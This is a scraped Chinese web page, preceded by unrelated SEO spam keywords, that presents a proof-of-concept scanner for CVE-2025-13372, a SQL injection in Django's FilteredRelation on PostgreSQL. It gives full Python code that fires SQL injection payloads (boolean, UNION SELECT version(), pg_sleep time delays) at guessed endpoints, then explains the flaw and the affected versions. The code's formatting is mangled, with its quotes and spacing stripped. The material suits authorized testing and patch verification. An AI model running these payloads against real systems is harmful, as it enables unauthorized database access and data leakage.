扬中网站推广,郑州男科医院排名哪家医院好,手机网站设计占工程比重,wordpress后台添加友情链接Django FilteredRelation SQL注入漏洞检测工具
项目概述
本项目提供了一个针对CVE-2025-13372漏洞的概念验证#xff08;PoC#xff09;检测工具。该漏洞影响Django框架在使用PostgreSQL数据库后端时#xff0c;结合FilteredRelation功能处理动态字典参数时可能引发的SQL注…Django FilteredRelation SQL注入漏洞检测工具项目概述本项目提供了一个针对CVE-2025-13372漏洞的概念验证PoC检测工具。该漏洞影响Django框架在使用PostgreSQL数据库后端时结合FilteredRelation功能处理动态字典参数时可能引发的SQL注入风险。本工具旨在帮助安全研究人员和开发人员检测其Django应用是否受到此漏洞影响。注意仅限在您拥有所有权或已获得明确授权的前提下使用本工具。功能特性多类型Payload检测支持错误型、时间延迟型等多种SQL注入检测技术智能路径探测自动尝试常见端点路径如/search/, /api/filter/, /admin/lookup/等响应分析自动识别PostgreSQL错误响应特征时间延迟检测通过pg_sleep函数检测时间型SQL注入漏洞错误抑制禁用SSL警告提供更清晰的输出信息安装指南系统要求Python 3.6requests库目标系统使用Django框架版本≤5.2.8、≤5.1.14或≤4.2.26PostgreSQL数据库后端安装步骤# 克隆项目gitclonerepository-url# 安装依赖pipinstallrequests# 运行工具python CVE-2025-13372-poc.pytarget-url依赖项requests用于发送HTTP请求urllib3用于URL编码处理使用说明基本用法python CVE-2025-13372-poc.py http://target-domain.com参数说明第一个参数目标URL自动移除末尾斜杠检测过程工具将按以下步骤进行检测对每个预定义的SQL注入Payload进行URL编码尝试访问多个常见端点路径分析响应内容中的PostgreSQL错误特征对于时间延迟型Payload检测响应时间是否超过阈值报告发现的漏洞迹象典型使用场景安全审计检测Django应用的安全性漏洞验证验证CVE-2025-13372漏洞的修复情况渗透测试在授权范围内测试目标系统的安全性手动检测建议如果自动检测未发现漏洞可尝试使用Burp Suite或ZAP等工具查找包含alias、column、field、sort等参数的端点手动测试上述参数是否接受用户输入核心代码主检测逻辑# CVE-2025-13372-poc.py# Github: https://github.com/Ashwesker/Blackash-CVE-2025-13372# Django FilteredRelation PostgreSQL SQL Injection PoC# Vulnerable: Django 5.2.8 / 5.1.14 / 4.2.26# Fixed in: 5.2.9, 5.1.15, 4.2.27# Use only on targets you own or have explicit permission for!importrequestsimporturllib.parseimportsysfromrequests.packages.urllib3importdisable_warnings disable_warnings()iflen(sys.argv)!2:print(Usage: python3 CVE-2025-13372-poc.py http://target.com)sys.exit(1)targetsys.argv[1].rstrip(/)# Common payloads that trigger PostgreSQL errors or delayspayloads[) OR 11-- ,); SELECT pg_sleep(7)--,# Time-based (7 sec delay vuln)); SELECT version()--,# Leaks PostgreSQL version UNION SELECT NULL,version(),NULL--,1 AND (SELECT 1 FROM PG_SLEEP(7))--]print([] CVE-2025-13372 PoC – Django FilteredRelation SQLi)print(f[] Target:{target}\n)forpayloadinpayloads:encurllib.parse.quote(payload)# Common endpoints/parameters that may use FilteredRelation alias()/annotate()paths[f/search/?alias{enc},f/api/filter/?col{enc},f/filter/?field{enc},f/reports/?column{enc},f/advanced/?sort{enc},f/admin/lookup/?q{enc},f/?order{enc}]forpathinpaths:urltargetpathtry:print(f[*] Testing:{url[:80]}{...iflen(url)80else},end)rrequests.get(url,timeout15,verifyFalse,allow_redirectsTrue)# PostgreSQL error indicatorsindicators[syntax error at or near,column .* does not exist,unterminated quoted string,SQLSTATE,relation .* does not exist,django.db.utils.ProgrammingError]bodyr.text.lower()ifany(indinbodyforindinindicators):print( → VULNERABLE! (PostgreSQL error))print(f Payload :{payload})print(f URL :{url}\n)sys.exit(0)# Time-based detectionifpg_sleepinpayload.lower()andr.elapsed.total_seconds()6:print( → VULNERABLE! (Time delay detected))print(f Delay :{r.elapsed.total_seconds():.2f}seconds)print(f Payload :{payload})sys.exit(0)print( → no indicator)exceptrequests.exceptions.Timeout:ifpg_sleepinpayload.lower():print( → VULNERABLE! (Request timed out – pg_sleep likely worked))sys.exit(0)except:print( → request failed)print(\n[-] Not vulnerable or correct endpoint not found.)print([i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.)print([i] Then test manually with the payloads above.)漏洞技术分析# 技术分析说明# CVE-2025-13372技术细节## 漏洞触发条件# 1. 使用PostgreSQL作为数据库后端# 2. 使用FilteredRelation进行条件连接# 3. 接受动态字典**kwargs构建查询注解或别名# 4. 允许用户控制的数据影响SQL生成中使用的别名名称## 安全机制失效原因# Django ORM通常通过以下方式防止SQL注入# - 转义危险字符# - 参数化输入# - 除非明确允许否则禁止原始SQL## 但传递给以下函数的别名不会被参数化# queryset.annotate(**dynamic_values)# queryset.alias(**dynamic_names)## 因为别名是SQL语法的一部分而不是SQL值。# 如果用户控制的输入进入这些别名Django可能会无意中将这些字符串逐字嵌入生成的SQL中。## 当与FilteredRelation结合使用时这种情况特别危险因为它生成更复杂的表达式和连接# 增加了SQL片段拼接的位置数量。## 结果恶意别名可以脱离其预期的SQL位置并运行任意SQL代码。受影响版本检测逻辑# 受影响版本检测# Django版本受影响情况## 受影响的Django版本# - Django 5.2.x系列 5.2.8# - Django 5.1.x系列 5.1.14# - Django 4.2.x系列 4.2.26## 已修复版本# - 5.2.9# - 5.1.15# - 4.2.27## 检测逻辑说明# 本工具通过发送特定Payload并分析响应来间接检测漏洞存在。# 如果检测到PostgreSQL错误特征或时间延迟则表明目标可能受到漏洞影响。# 这种方法不依赖版本号检测而是直接测试漏洞可利用性。安全响应特征识别# PostgreSQL错误特征识别# 以下是工具检测的PostgreSQL错误指示器indicators[syntax error at or near,# SQL语法错误column .* does not exist,# 列不存在错误unterminated quoted string,# 未终止的引号字符串SQLSTATE,# SQL状态错误relation .* does not exist,# 关系不存在错误django.db.utils.ProgrammingError# Django编程错误]# 时间延迟检测逻辑# 当Payload包含pg_sleep时如果响应时间超过6秒则认为检测到时间型SQL注入。# 这种检测方法适用于目标系统不返回详细错误信息但存在漏洞的情况。路径探测机制# 常见端点路径探测# 工具尝试以下常见端点路径这些路径可能使用FilteredRelation alias()/annotate()paths[/search/?alias{enc},# 搜索功能可能使用别名参数/api/filter/?col{enc},# API过滤功能/filter/?field{enc},# 过滤功能/reports/?column{enc},# 报告功能/advanced/?sort{enc},# 高级排序功能/admin/lookup/?q{enc},# 管理界面查找功能/?order{enc}# 通用排序参数]# 这些路径和参数名基于常见的Django使用模式# 可能触发FilteredRelation相关的SQL查询构建。6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPuDqcay4ZWmta7DFtWE6OQ更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享